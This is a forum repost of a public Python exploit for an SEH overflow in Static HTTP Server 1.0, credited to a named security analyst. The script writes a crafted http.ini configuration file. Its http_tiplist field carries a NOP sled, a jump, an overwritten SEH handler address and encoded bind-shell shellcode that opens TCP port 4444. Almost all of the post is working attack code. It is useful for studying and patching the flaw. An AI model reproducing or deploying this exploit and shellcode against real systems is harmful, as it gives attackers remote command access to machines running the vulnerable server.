Matt Posted July 1, 2013 Report Posted July 1, 2013 Author : Jacob HolcombSource : Static HTTP Server 1.0 - SEH OverflowVulnerable App : http://www.exploit-db.com/wp-content/themes/exploit/applications/7b16657e72825fc53b5072d4a1d04b7b-static-httpd.zipCode : #!/usr/bin/env pythonimport os## Title************************Static HTTP Server SEH Overflow - HTTP Config - http_tiplist# Discovered and Reported******June 2013# Discovered/Exploited By******Jacob Holcomb/Gimppy, Security Analyst @ Independent Security Evaluators# Exploit/Advisory*************http://infosec42.blogspot.com/# Software*********************Static HTTP Server v1.0 (Listens on TCP/80)# *****************************http://sourceforge.net/projects/static-httpd/?source=dlp# Tested Platform*************Winodws XP SP2# CVE**************************Static HTTP Server 1.0 - SEH Overflow: Pending## Notes:# Multiple HTTP commands and headers are vulnerable to overflows and trigger an exception, but # I was unable to control the SEH handler with anyting but configuration options in the http.ini.#def fileCreate(): print "\n[*] Your current file directory is %s. " % os.getcwd() try: File = "http.ini" fileOpen = open(File, "w") print "[*] Configuration file %s will be written to %s." % (File, os.getcwd()) except: print "\n[*] ERROR! There was an issue creating your file. Please make sure you have write access to %s!!!!!\n" % os.getcwd return fileOpendef main(): NOP1 = "\x90" * 1691 NOP2 = NOP1[0:349] prev = "\xEB\xF6\x90\x90" #Short JMP -10 bytes Handler = "\x9E\x1D\x40\x00"#00401D9E httpd.exe jmp = "\xe9\x87\xee\xff\xff"#FFFFEE87#"\xe9\xA3\xfe\xff\xff" #344 Byte Bind Shell TCP/4444 shellcode = ("\xdb\xdd\xba\x81\x90\xd3\xb1\xd9\x74\x24\xf4\x5b\x2b\xc9" +"\xb1\x50\x31\x53\x18\x83\xeb\xfc\x03\x53\x95\x72\x26\x4d" +"\xff\x99\x84\x46\x06\xa2\xe8\x68\x98\xd6\x7b\xb3\x7c\x62" +"\xc6\x87\xf7\x08\xcc\x8f\x06\x1e\x45\x20\x10\x6b\x05\x9f" +"\x21\x80\xf3\x54\x15\xdd\x05\x85\x64\x21\x9c\xf5\x02\x61" +"\xeb\x02\xcb\xa8\x19\x0c\x09\xc7\xd6\x35\xd9\x3c\x3f\x3f" +"\x04\xb7\x60\x9b\xc7\x23\xf8\x68\xcb\xf8\x8e\x30\xcf\xff" +"\x7b\xcd\xc3\x74\xf2\xbe\x3f\x97\x64\xfc\x0e\x7c\x02\x89" +"\x33\xb2\x40\xcd\xbf\x39\x26\xd2\x12\xb6\x87\xe2\x32\xa1" +"\x89\xbd\xc4\xdd\xc6\xbe\x0e\x7b\xb4\x26\xc6\xb7\x08\xcf" +"\x61\xcb\x5e\x50\xd9\xd4\x4f\x06\x2a\xc7\x8c\xec\xfc\xe7" +"\xbb\x4c\x75\xf2\x22\xf2\x68\xf5\xa8\xa1\x18\x04\x52\x99" +"\xb4\xd1\xa5\xef\xe9\xb5\x4a\xd9\xa2\x6a\xe6\xb5\x17\xce" +"\x5b\x79\xc4\x2f\x8b\x1b\x82\xde\x70\x82\x01\x68\x69\xdf" +"\xcd\xce\x70\x90\xca\x58\x7a\x86\xbe\x76\xd5\x72\xc1\xa7" +"\xbd\xd8\x90\x66\xd7\x76\x15\xa0\x74\x2c\x16\x9d\x13\x2b" +"\xa1\x98\xad\xe4\xce\x73\x7d\x5f\x64\x29\x81\x8f\x17\xb9" +"\x9a\x49\xd1\x43\x32\x55\x0b\xe6\x43\x79\xd5\x63\xd8\x1c" +"\x71\x17\x4d\x68\x64\xbd\xdd\x33\x4f\x8e\x57\x24\xe5\x4a" +"\xe1\x49\xc8\x92\x02\x27\xd4\x51\xc8\xc6\x6a\x7a\x81\xba" +"\x10\xba\x0e\x6f\x4f\xd2\x22\x8e\x3c\x35\x3c\x1b\x06\xc5" +"\x14\xbf\xd1\x6b\xc8\x11\x8c\xe1\xeb\xc0\x7f\xa3\xba\x1d" +"\xaf\x23\x90\x3b\x4a\x7a\xb9\x44\x82\xe8\xc1\x44\x1d\x12" +"\xed\x30\x36\x10\x8d\x83\xdc\x17\x44\x59\xe3\x38\x01\xae" +"\x91\xbd\x8d\x1d\x5a\x6b\xce\x72") sploit = NOP2 + shellcode + NOP1 + jmp + prev + Handler File = fileCreate() Config = ("""# HTTP Daemon config file# GarajCode programed by Savu Andrei# This is the configuration file# You can configure the maximum number# of simultanious connections max_http_connections = 256# The port on which the server will listenhttp_port = 80# Multiple connections from same computerhttp_mcsc = 1# Banned ip list - separed by ;http_ubip = 0# http_biplist = ""# Trusted ip list - separed by ;http_utip = 0# http_tiplist = "%s" """) % sploit File.write(Config) File.close()if __name__ == "__main__": main() Quote